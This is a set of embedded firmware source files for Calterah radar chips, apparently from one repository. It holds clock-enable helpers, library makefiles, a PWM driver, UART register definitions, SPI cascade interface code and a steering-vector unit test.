raw_writel(REG_CLKGEN_ENA_RAM, 0);
}
}
static inline void crc_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_CRC, 1);
} else {
raw_writel(REG_CLKGEN_ENA_CRC, 0);
}
}
static inline void timer_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_TIMER, 1);
} else {
raw_writel(REG_CLKGEN_ENA_TIMER, 0);
}
}
static inline void dmu_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_DMU, 1);
} else {
raw_writel(REG_CLKGEN_ENA_DMU, 0);
}
}
static inline void pwm_enable(uint32_t en)
{
if (en) {
raw_writel(REG_CLKGEN_ENA_PWM, 1);
} else {
raw_writel(REG_CLKGEN_ENA_PWM, 0);
}
}
static inline clock_source_t uart_clock_source(uint32_t id)
{
clock_source_t clk_src;
switch (id) {
case 0:
clk_src = UART0_CLOCK;
break;
case 1:
clk_src = UART1_CLOCK;
break;
default:
clk_src = CLOCK_SOURCE_INVALID;
break;
}
return clk_src;
}
#endif
<file_sep>CALTERAH_TRACK_ROOT = $(CALTERAH_COMMON_ROOT)/track
CALTERAH_TRACK_CSRCDIR = $(CALTERAH_TRACK_ROOT)
CALTERAH_TRACK_ASMSRCDIR = $(CALTERAH_TRACK_ROOT)
# 0:public
# 1:srr
# 2:TBD
TRK_MODE_FUNC ?= 0
# find all the source files in the target directories
CALTERAH_TRACK_CSRCS = $(call get_csrcs, $(CALTERAH_TRACK_CSRCDIR))
CALTERAH_TRACK_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_TRACK_ASMSRCDIR))
# add to select the function mode
ifeq ($(TRK_MODE_FUNC),0)
CALTERAH_TRACK_CSRCS += $(CALTERAH_TRACK_ROOT)/public/ekf_track.c
endif
ifeq ($(TRK_MODE_FUNC),1)
CALTERAH_TRACK_CSRCS += $(CALTERAH_TRACK_ROOT)/solution/srr/ekf_track.c
endif
# get object files
CALTERAH_TRACK_COBJS = $(call get_relobjs, $(CALTERAH_TRACK_CSRCS))
CALTERAH_TRACK_ASMOBJS = $(call get_relobjs, $(CALTERAH_TRACK_ASMSRCS))
CALTERAH_TRACK_OBJS = $(CALTERAH_TRACK_COBJS) $(CALTERAH_TRACK_ASMOBJS)
# get dependency files
CALTERAH_TRACK_DEPS = $(call get_deps, $(CALTERAH_TRACK_OBJS))
#used to generate trackelib.a
ifeq ($(TRK_MODE_FUNC),0)
CALTERAH_TRACKLIB_CSRCDIR = $(CALTERAH_TRACK_ROOT)/public
CALTERAH_TRACKLIB_CSRCDIR = $(CALTERAH_TRACK_ROOT)/public
endif
ifeq ($(TRK_MODE_FUNC),1)
CALTERAH_TRACKLIB_CSRCDIR = $(CALTERAH_TRACK_ROOT)/solution/srr/src
CALTERAH_TRACKLIB_CSRCDIR = $(CALTERAH_TRACK_ROOT)/solution/srr/src
endif
CALTERAH_TRACKLIB_CSRCS = $(call get_csrcs, $(CALTERAH_TRACKLIB_CSRCDIR))
CALTERAH_TRACKLIB_COBJS = $(call get_relobjs, $(CALTERAH_TRACKLIB_CSRCS))
CALTERAH_TRACKLIB_DEPS = $(call get_deps, $(CALTERAH_TRACKLIB_COBJS))
ifeq ($(TRK_MODE_FUNC),0)
CALTERAH_TRACKLIB_LIB = $(CALTERAH_TRACK_CSRCDIR)/public/public_lib_calterah_tracklib_$(TOOLCHAIN).a
endif
ifeq ($(TRK_MODE_FUNC),1)
CALTERAH_TRACKLIB_LIB = $(CALTERAH_TRACK_CSRCDIR)/solution/srr/srr_lib_calterah_tracklib_$(TOOLCHAIN).a
endif
# genearte library
CALTERAH_TRACK_LIB = $(OUT_DIR)/lib_calterah_track.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_TRACK_ROOT)/track.mk
$(CALTERAH_TRACKLIB_LIB): $(CALTERAH_TRACKLIB_COBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(TRACKLIB_AR_OPT) $@ $(CALTERAH_TRACKLIB_COBJS)
# library generation rule
$(CALTERAH_TRACK_LIB): $(CALTERAH_TRACK_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_TRACK_OBJS)
ifeq ($(TRK_MODE_FUNC),1)
$(CALTERAH_TRACKLIB_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $(COMPILE_HW_OPT) $< -o $@
endif
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_TRACK_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $(COMPILE_HW_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_TRACK_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $(COMPILE_HW_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_TRACKLIB_CSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_TRACKLIB_COBJS)
CALTERAH_COMMON_CSRC += $(CALTERAH_TRACK_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_TRACK_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_TRACK_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_TRACK_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_TRACK_LIB) $(CALTERAH_TRACKLIB_LIB)
CALTERAH_INC_DIR += $(CALTERAH_TRACK_ROOT)
ifeq ($(TRK_MODE_FUNC),0)
CALTERAH_INC_DIR += $(CALTERAH_TRACK_ROOT)/public
CALTERAH_INC_DIR += $(CALTERAH_TRACK_ROOT)/public
endif
ifeq ($(TRK_MODE_FUNC),1)
CALTERAH_INC_DIR += $(CALTERAH_TRACK_ROOT)/solution/srr/inc
CALTERAH_INC_DIR += $(CALTERAH_TRACK_ROOT)/solution/srr
endif
EXTRA_DEFINES += -DTRK_MODE_FUNC=$(TRK_MODE_FUNC)<file_sep>#ifndef _DW_DMA_OBJ_H_
#define _DW_DMA_OBJ_H_
#define DW_AHB_DMA_CHN_CNT (8)
void *dma_get_dev(int32_t reserved);
#endif
<file_sep>#ifndef ALPS_MP_RADIO_SPI_CMD_REG_H
#define ALPS_MP_RADIO_SPI_CMD_REG_H
#define RADIO_SPI_CMD_SRC_SEL 0xBA0000
#define RADIO_SPI_CMD_EXT_SPI 0x0
#define RADIO_SPI_CMD_FMCW 0x1
#define RADIO_SPI_CMD_CPU 0x2
#define RADIO_SPI_CMD_OUT 0xBA0004
#define RADIO_SPI_CMD_OUT_WR_EN_SHIFT 15
#define RADIO_SPI_CMD_OUT_WR_EN_MASK 0x1
#define RADIO_SPI_CMD_OUT_ADDR_SHIFT 8
#define RADIO_SPI_CMD_OUT_ADDR_MASK 0x7f
#define RADIO_SPI_CMD_OUT_DATA_SHIFT 0
#define RADIO_SPI_CMD_OUT_DATA_MASK 0xff
#define RADIO_SPI_CMD_IN 0xBA0008
#define RADIO_SPI_CMD_OUT_DATA_SHIFT 0
#define RADIO_SPI_CMD_OUT_DATA_MASK 0xff
#endif
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_timer.h"
//#include "timer_hal.h"
typedef void (*timer_callback)(void *);
static dw_timer_t *pwm_timer = NULL;
static timer_callback expire_callback[CHIP_PWM_NO];
static void pwm_isr(void *param);
int32_t pwm_init(void)
{
int32_t result = E_OK;
int idx = 0;
do {
uint32_t nof_int = 0;
pwm_timer = (dw_timer_t *)pwm_get_dev();
if (NULL == pwm_timer) {
result = E_NOEXS;
break;
}
/* interrupt install. */
for (; idx < pwm_timer->timer_cnt; idx++) {
nof_int = pwm_timer->int_no[idx];
result = int_handler_install(nof_int, pwm_isr);
if (E_OK != result) {
break;
}
}
if (E_OK == result) {
pwm_enable(1);
}
} while (0);
return result;
}
int32_t pwm_start(uint32_t id, uint32_t freq, uint32_t duty_cycle, void (*func)(void *param))
{
int32_t result = E_OK;
dw_timer_ops_t *pwm_ops = (dw_timer_ops_t *)pwm_timer->ops;
uint32_t load_value0, load_value1 = duty_cycle;
if ((NULL == pwm_timer) || (NULL == pwm_timer->ops) || \
(id >= pwm_timer->timer_cnt) || (0 == freq) || \
(duty_cycle > 100)) {
result = E_PAR;
} else {
uint32_t cpu_sts;
uint32_t peroid = 0;
uint32_t clk_src = clock_frequency(PWM_CLOCK);
peroid = clk_src / freq;
load_value0 = peroid * (100 - duty_cycle) / 100;
load_value1 = peroid * duty_cycle / 100;
cpu_sts = arc_lock_save();
do {
result = pwm_ops->mode(pwm_timer, id, USER_DEFINED_MODE);
if (E_OK != result) {
break;
}
result = pwm_ops->load_count_update(pwm_timer, id, load_value0);
if (E_OK != result) {
break;
}
result = pwm_ops->load_count2_update(pwm_timer, id, load_value1);
if (E_OK != result) {
break;
}
if (func) {
expire_callback[id] = func;
result = pwm_ops->int_mask(pwm_timer, id, 0);
if (E_OK != result) {
break;
}
result = int_enable(pwm_timer->int_no[id]);
if (E_OK != result) {
break;
}
}
result = pwm_ops->pwm(pwm_timer, id, 1, 1);
if (E_OK != result) {
break;
}
result = pwm_ops->enable(pwm_timer, id, 1);
if (E_OK != result) {
break;
}
dmu_pwm_output_enable(id, 1);
} while (0);
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t pwm_stop(uint32_t id)
{
int32_t result = E_OK;
dw_timer_ops_t *pwm_ops = (dw_timer_ops_t *)pwm_timer->ops;
if ((NULL == pwm_timer) || (NULL == pwm_timer->ops) || \
(id >= pwm_timer->timer_cnt)) {
result = E_PAR;
} else {
uint32_t cpu_sts = arc_lock_save();
result = pwm_ops->pwm(pwm_timer, id, 0, 0);
if (E_OK == result) {
result = pwm_ops->int_mask(pwm_timer, id, 1);
}
if (E_OK == result) {
result = int_disable(pwm_timer->int_no[id]);
if (E_OK == result) {
expire_callback[id] = NULL;
}
}
arc_unlock_restore(cpu_sts);
}
return result;
}
void pwm_isr(void *params)
{
}
<file_sep>#include "CuTest.h"
#include "calterah_steering_vector.h"
#include "fft_window.h"
#include "stdio.h"
#ifndef M_PI
#define M_PI 3.1415926535
#endif
void test_gen_steering_vector(CuTest *tc)
{
complex_t vec[16];
float win[16];
antenna_pos_t ant_pos[16] = {{0, 0}, {.5, 0}, {1, 0}, {1.5, 0},
{2, 0}, {2.5, 0}, {3.0, 0}, {3.5, 0},
{4, 0}, {4.5, 0}, {5, 0}, {5.5, 0},
{6, 0}, {6.5, 0}, {7.0, 0}, {7.5, 0}};
float ant_comp[16] = {0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0};
int i;
gen_window("square", 4, 80, 0, 0);
for(i = 0; i < 4; i++)
win[i] = get_win_coeff_float(i);
gen_steering_vec(vec, win, ant_pos, ant_comp, 4, 90.0/180 * M_PI, 0, 't', false);
CuAssertDblEquals(tc, 1, vec[0].r, 1e-5);
CuAssertDblEquals(tc, 0, vec[0].i, 1e-5);
CuAssertDblEquals(tc, -1, vec[1].r, 1e-5);
CuAssertDblEquals(tc, 0, vec[1].i, 1e-5);
CuAssertDblEquals(tc, 1, vec[2].r, 1e-5);
CuAssertDblEquals(tc, 0, vec[2].i, 1e-5);
CuAssertDblEquals(tc, -1, vec[3].r, 1e-5);
CuAssertDblEquals(tc, 0, vec[3].i, 1e-5);
gen_steering_vec(vec, win, ant_pos, ant_comp, 4, 30.0/180 * M_PI, 0, 't', false);
CuAssertDblEquals(tc, 1, vec[0].r, 1e-5);
CuAssertDblEquals(tc, 0, vec[0].i, 1e-5);
CuAssertDblEquals(tc, 0, vec[1].r, 1e-5);
CuAssertDblEquals(tc, 1, vec[1].i, 1e-5);
CuAssertDblEquals(tc, -1, vec[2].r, 1e-5);
CuAssertDblEquals(tc, 0, vec[2].i, 1e-5);
CuAssertDblEquals(tc, 0, vec[3].r, 1e-5);
CuAssertDblEquals(tc, -1, vec[3].i, 1e-5);
}
CuSuite* steering_vector_get_suite() {
CuSuite* suite = CuSuiteNew();
SUITE_ADD_TEST(suite, test_gen_steering_vector);
return suite;
}
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "crc_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
#define CASCADE_IF_BAUD (50000000)
#define CASCADE_SPIM_RX_SAMPLE_DELAY (3)
static spi_xfer_desc_t cs_spi_xfer_desc = {
.clock_mode = SPI_CLK_MODE_0,
.dfs = 32,
.cfs = 0,
.spi_frf = SPI_FRF_STANDARD,
.rx_thres = 0,
.tx_thres = 0,
.rx_sample_delay = CASCADE_SPIM_RX_SAMPLE_DELAY
};
static cs_com_cfg_t cs_com_cfg = {
.tx_mode = 0,
.rx_mode = 0,
.xfer_desc = (void *)&cs_spi_xfer_desc
};
int32_t cascade_if_init(void)
{
int32_t result = E_OK;
do {
int32_t cascade_status = chip_cascade_status();
if (cascade_status < 0) {
result = cascade_status;
break;
}
if (CHIP_CASCADE_MASTER == cascade_status) {
cs_com_cfg.hw_if_id = CHIP_CASCADE_SPI_M_ID;
result = cadcade_if_master_init(CHIP_CASCADE_SPI_M_ID);
} else {
cs_com_cfg.hw_if_id = CHIP_CASCADE_SPI_S_ID;
result = cadcade_if_slave_init(CHIP_CASCADE_SPI_S_ID);
}
if (E_OK != result) {
EMBARC_PRINTF("cascade interface init failed[%d]\r\n", result);
break;
}
result = spi_open(cs_com_cfg.hw_if_id, CASCADE_IF_BAUD);
if (E_OK != result) {
break;
}
result = spi_transfer_config(cs_com_cfg.hw_if_id, &cs_spi_xfer_desc);
if (E_OK != result) {
break;
}
if (CHIP_CASCADE_SLAVE == cascade_status) {
result = spi_interrupt_install(cs_com_cfg.hw_if_id, \
0, cascade_if_callback);
if (E_OK != result) {
break;
}
result = spi_interrupt_enable(cs_com_cfg.hw_if_id, 0, 1);
if (E_OK != result) {
break;
}
result = spi_interrupt_install(cs_com_cfg.hw_if_id, \
1, cascade_if_callback);
}
} while (0);
return result;
}
void cascade_rx_crc_handle(cs_xfer_mng_t *xfer, uint32_t crc32)
{
int32_t result = spi_device_mode(cs_com_cfg.hw_if_id);
if (DEV_MASTER_MODE == result) {
cascade_if_master_rx_crc_done(xfer, crc32);
} else if (DEV_SLAVE_MODE == result) {
cascade_if_slave_rx_crc_done(xfer, crc32);
} else {
/* panic: lower layer error! */
}
}
void cascade_tx_crc_handle(cs_xfer_mng_t *xfer, uint32_t crc32)
{
int32_t result = spi_device_mode(cs_com_cfg.hw_if_id);
if (DEV_MASTER_MODE == result) {
cascade_if_master_tx_crc_done(xfer, crc32);
} else if (DEV_SLAVE_MODE == result) {
cascade_if_slave_tx_crc_done(xfer, crc32);
} else {
/* panic: lower layer error! */
}
}
void cascade_if_xfer_resume(cs_xfer_mng_t *xfer, uint32_t length)
{
int32_t result = spi_device_mode(cs_com_cfg.hw_if_id);
if (DEV_MASTER_MODE == result) {
cascade_if_master_xfer_resume(xfer, 0);
} else if (DEV_SLAVE_MODE == result) {
cascade_if_slave_xfer_resume(xfer, length);
} else {
}
}
void cascade_sync_bb_init(void)
{
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
cascade_if_master_sync_bb_init();
else
cascade_if_slave_sync_bb_init();
}
<file_sep>#include "embARC.h"
#include "uart_hal.h"
/** put one char */
void console_putchar(unsigned char chr)
{
uart_write(CHIP_CONSOLE_UART_ID, &chr, 1);
}
/** put string */
int console_putstr(const char *str, unsigned int len)
{
return uart_write(CHIP_CONSOLE_UART_ID, (uint8_t *)(str), len);
}
/** get one char*/
int console_getchar(void)
{
unsigned char data;
uart_read(CHIP_CONSOLE_UART_ID, (void *)(&data), 1);
return (int)data;
}
/** get string */
int console_getstr(char *str, unsigned int len)
{
return uart_read(CHIP_CONSOLE_UART_ID, (void *)(str), len);
}
<file_sep>CALTERAH_EMU_ROOT = $(CALTERAH_COMMON_ROOT)/emu
CALTERAH_EMU_CSRCDIR = $(CALTERAH_EMU_ROOT)
CALTERAH_EMU_ASMSRCDIR = $(CALTERAH_EMU_ROOT)
# find all the source files in the target directories
CALTERAH_EMU_CSRCS = $(call get_csrcs, $(CALTERAH_EMU_CSRCDIR))
CALTERAH_EMU_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_EMU_ASMSRCDIR))
# get object files
CALTERAH_EMU_COBJS = $(call get_relobjs, $(CALTERAH_EMU_CSRCS))
CALTERAH_EMU_ASMOBJS = $(call get_relobjs, $(CALTERAH_EMU_ASMSRCS))
CALTERAH_EMU_OBJS = $(CALTERAH_EMU_COBJS) $(CALTERAH_EMU_ASMOBJS)
# get dependency files
CALTERAH_EMU_DEPS = $(call get_deps, $(CALTERAH_EMU_OBJS))
# genearte library
CALTERAH_EMU_LIB = $(OUT_DIR)/lib_calterah_emu.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_EMU_ROOT)/emu.mk
# library generation rule
$(CALTERAH_EMU_LIB): $(CALTERAH_EMU_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_EMU_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_EMU_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $(COMPILE_HW_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_EMU_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $(COMPILE_HW_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_EMU_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_EMU_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_EMU_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_EMU_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_EMU_LIB)
<file_sep>CALTERAH_FMCW_RADIO_ROOT = $(CALTERAH_COMMON_ROOT)/fmcw_radio/alps_mp
CALTERAH_FMCW_RADIO_CSRCDIR = $(CALTERAH_FMCW_RADIO_ROOT)
CALTERAH_FMCW_RADIO_ASMSRCDIR = $(CALTERAH_FMCW_RADIO_ROOT)
# find all the source files in the target directories
CALTERAH_FMCW_RADIO_CSRCS = $(call get_csrcs, $(CALTERAH_FMCW_RADIO_CSRCDIR))
CALTERAH_FMCW_RADIO_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_FMCW_RADIO_ASMSRCDIR))
# get object files
CALTERAH_FMCW_RADIO_COBJS = $(call get_relobjs, $(CALTERAH_FMCW_RADIO_CSRCS))
CALTERAH_FMCW_RADIO_ASMOBJS = $(call get_relobjs, $(CALTERAH_FMCW_RADIO_ASMSRCS))
CALTERAH_FMCW_RADIO_OBJS = $(CALTERAH_FMCW_RADIO_COBJS) $(CALTERAH_FMCW_RADIO_ASMOBJS)
# get dependency files
CALTERAH_FMCW_RADIO_DEPS = $(call get_deps, $(CALTERAH_FMCW_RADIO_OBJS))
# genearte library
CALTERAH_FMCW_RADIO_LIB = $(OUT_DIR)/lib_calterah_fmcw_radio.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_FMCW_RADIO_ROOT)/alps_mp.mk
# library generation rule
$(CALTERAH_FMCW_RADIO_LIB): $(CALTERAH_FMCW_RADIO_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_FMCW_RADIO_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_FMCW_RADIO_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $(COMPILE_HW_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_FMCW_RADIO_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $(COMPILE_HW_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_FMCW_RADIO_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_FMCW_RADIO_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_FMCW_RADIO_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_FMCW_RADIO_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_FMCW_RADIO_LIB)
<file_sep>#ifndef CALTERAH_LIMITS_H
#define CALTERAH_LIMITS_H
#ifdef CHIP_ALPS_A
#define MAX_FRAME_TYPE 1
#else
#define MAX_FRAME_TYPE 4
#endif
/* baseband limitation */
#define MAX_FFT_WIN 2048
#define MAX_FFT_RNG 2048
#define MAX_NUM_RX 4
#define MAX_NUM_TX 4
#define MAX_CFAR_DIRS 16
#define MAX_ANT_ARRAY_SIZE 32 /*MAX_ANT_ARRAY_SIZE cascade chirp*/
#define MAX_ANT_ARRAY_SIZE_SC 16 /*MAX_ANT_ARRAY_SIZE single chirp*/
#define CFAR_WIN_MAX_RNG 7
#define CFAR_WIN_MAX_VEL 9
#define CFAR_MIMO_COMB_COE (MAX_CFAR_DIRS * MAX_ANT_ARRAY_SIZE * MAX_FRAME_TYPE)
#define CFAR_MAX_GRP_NUM 8
#define CFAR_MAX_RECWIN_MSK_LEN_PERGRP 11
#define CFAR_MAX_RECWIN_MSK_LEN (CFAR_MAX_GRP_NUM * CFAR_MAX_RECWIN_MSK_LEN_PERGRP)
#define DEBPM_COE (MAX_ANT_ARRAY_SIZE_SC * MAX_FRAME_TYPE)
#define BB_ADDRESS_UNIT 4
#define MAX_BFM_GROUP_NUM 3
#define AGC_CODE_ENTRY_NUM 13
#ifdef CHIP_CASCADE
#define DOA_MAX_NUM_RX 8
#else
#define DOA_MAX_NUM_RX 4
#endif
#endif
<file_sep>#ifndef COMMON_CLI_H
#define COMMON_CLI_H
void uart_ota_init(void);
void common_cmd_init(void);
#endif<file_sep>#ifndef _CAN_OBJ_H_
#define _CAN_OBJ_H_
#define CAN_0_ID 0 /*!< can 0 id macro */
#define CAN_1_ID 1 /*!< can 1 id macro */
void *can_get_dev(uint32_t id);
#endif
<file_sep>#ifndef _DW_UART_REG_H_
#define _DW_UART_REG_H_
#define REG_DW_UART_RBR_DLL_THR_OFFSET (0x0000)
#define REG_DW_UART_DLH_IER_OFFSET (0x0004)
#define REG_DW_UART_FCR_IIR_OFFSET (0x0008)
#define REG_DW_UART_LCR_OFFSET (0x000c)
#define REG_DW_UART_MCR_OFFSET (0x0010)
#define REG_DW_UART_LSR_OFFSET (0x0014)
#define REG_DW_UART_MSR_OFFSET (0x0018)
#define REG_DW_UART_SCR_OFFSET (0x001c)
#define REG_DW_UART_LPDLL_OFFSET (0x0020)
#define REG_DW_UART_LPDLH_OFFSET (0x0024)
#define REG_DW_UART_SRBR_OFFSET(n) (0x0030 + ((n) << 2))
#define REG_DW_UART_STHR_OFFSET(n) (0x0030 + ((n) << 2))
#define REG_DW_UART_FAR_OFFSET (0x0070)
#define REG_DW_UART_TFR_OFFSET (0x0074)
#define REG_DW_UART_RFW_OFFSET (0x0078)
#define REG_DW_UART_USR_OFFSET (0x007c)
#define REG_DW_UART_TFL_OFFSET (0x0080)
#define REG_DW_UART_RFL_OFFSET (0x0084)
#define REG_DW_UART_SRT_OFFSET (0x009c)
#define REG_DW_UART_HTX_OFFSET (0x00a4)
#define REG_DW_UART_DLF_OFFSET (0x00c0)
#define REG_DW_UART_CPR_OFFSET (0x00f4)
#define REG_DW_UART_UCV_OFFSET (0x00f8)
#define REG_DW_UART_CTR_OFFSET (0x00fc)
/* interrupt enable. */
#define BIT_REG_DW_UART_IER_PTIME (1 << 7)
#define BIT_REG_DW_UART_IER_ELCOLR (1 << 4)
#define BIT_REG_DW_UART_IER_EDSSI (1 << 3)
#define BIT_REG_DW_UART_IER_ELSI (1 << 2)
#define BIT_REG_DW_UART_IER_ETBEI (1 << 1)
#define BIT_REG_DW_UART_IER_ERBFI (1 << 0)
/* fifo control. */
#define BITS_REG_DW_UART_FCR_RT_MASK (0x3)
#define BITS_REG_DW_UART_FCR_RT_SHIFT (6)
#define BITS_REG_DW_UART_FCR_TET_MASK (0x3)
#define BITS_REG_DW_UART_FCR_TET_SHIFT (4)
#define BIT_REG_DW_UART_FCR_XFIFOR (1 << 2)
#define BIT_REG_DW_UART_FCR_RFIFOR (1 << 1)
#define BIT_REG_DW_UART_FCR_FIFOE (1 << 0)
/* interrupt identification. */
#define BITS_REG_DW_UART_IIR_FIFOSE_MASK (0x3)
#define BITS_REG_DW_UART_IIR_FIFOSE_SHIFT (6)
#define BITS_REG_DW_UART_IIR_IID_MASK (0xF)
#define BITS_REG_DW_UART_IIR_IID_SHIFT (0)
/* line control. */
#define BIT_REG_DW_UART_LCR_DLAB (1 << 7)
#define BIT_REG_DW_UART_LCR_BC (1 << 6)
#define BIT_REG_DW_UART_LCR_SP (1 << 5)
#define BIT_REG_DW_UART_LCR_EPS (1 << 4)
#define BIT_REG_DW_UART_LCR_PEN (1 << 3)
#define BIT_REG_DW_UART_LCR_STOP (1 << 2)
#define BIT_REG_DW_UART_LCR_DLS_MASK (0x3)
#define BIT_REG_DW_UART_LCR_DLS_SHIFT (0)
/* line status. */
#define BIT_REG_DW_UART_LSR_ADDR_RCVD (1 << 8)
#define BIT_REG_DW_UART_LSR_RFE (1 << 7)
#define BIT_REG_DW_UART_LSR_TEMT (1 << 6)
#define BIT_REG_DW_UART_LSR_THRE (1 << 5)
#define BIT_REG_DW_UART_LSR_BI (1 << 4)
#define BIT_REG_DW_UART_LSR_FE (1 << 3)
#define BIT_REG_DW_UART_LSR_PE (1 << 2)
#define BIT_REG_DW_UART_LSR_OE (1 << 1)
#define BIT_REG_DW_UART_LSR_DR (1 << 0)
/* uart status. */
#define BIT_REG_DW_UART_USR_RFF (1 << 4)
#define BIT_REG_DW_UART_USR_RFNE (1 << 3)
#define BIT_REG_DW_UART_USR_TFE (1 << 2)
#define BIT_REG_DW_UART_USR_TFNF (1 << 1)
#define BIT_REG_DW_UART_USR_BUSY (1 << 0)
/* component parameter. */
#define BIR_REG_DW_UART_CPR_FIFO_MODE_MASK (0xff)
#define BIR_REG_DW_UART_CPR_FIFO_MODE_SHIFT (16)
#define BIR_REG_DW_UART_CPR_DMA_EXTRA (1 << 13)
#define BIR_REG_DW_UART_CPR_ADDR_ENCODED (1 << 12)
#define BIR_REG_DW_UART_CPR_ADDR_SHADOW (1 << 11)
#define BIR_REG_DW_UART_CPR_FIFO_STAT (1 << 10)
#define BIR_REG_DW_UART_CPR_FIFO_ACCESS (1 << 9)
#define BIR_REG_DW_UART_CPR_ADDITIONAL_FEAT (1 << 8)
#define BIR_REG_DW_UART_CPR_SIR_LP_MODE (1 << 7)
#define BIR_REG_DW_UART_CPR_SIR_MODE (1 << 6)
#define BIR_REG_DW_UART_CPR_THRE_MODE (1 << 5)
#define BIR_REG_DW_UART_CPR_AFCE_MODE (1 << 4)
#define BIR_REG_DW_UART_CPR_APB_DWIDTH_MASK (0x3)
#define BIR_REG_DW_UART_CPR_APB_DWIDTH_SHIFT (0)
#endif
<file_sep>#ifndef CALTERAH_DEFINES_H
#define CALTERAH_DEFINES_H
#endif
<file_sep>CALTERAH_CASCADE_ROOT = $(CALTERAH_COMMON_ROOT)/cascade
CALTERAH_CASCADE_CSRCDIR = $(CALTERAH_CASCADE_ROOT)
CALTERAH_CASCADE_ASMSRCDIR = $(CALTERAH_CASCADE_ROOT)
# find all the source files in the target directories
CALTERAH_CASCADE_CSRCS = $(call get_csrcs, $(CALTERAH_CASCADE_CSRCDIR))
CALTERAH_CASCADE_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_CASCADE_ASMSRCDIR))
# get object files
CALTERAH_CASCADE_COBJS = $(call get_relobjs, $(CALTERAH_CASCADE_CSRCS))
CALTERAH_CASCADE_ASMOBJS = $(call get_relobjs, $(CALTERAH_CASCADE_ASMSRCS))
CALTERAH_CASCADE_OBJS = $(CALTERAH_CASCADE_COBJS) $(CALTERAH_CASCADE_ASMOBJS)
# get dependency files
CALTERAH_CASCADE_DEPS = $(call get_deps, $(CALTERAH_CASCADE_OBJS))
# genearte library
CALTERAH_CASCADE_LIB = $(OUT_DIR)/lib_calterah_cascade.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_CASCADE_ROOT)/cascade.mk
# library generation rule
$(CALTERAH_CASCADE_LIB): $(CALTERAH_CASCADE_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_CASCADE_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_CASCADE_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
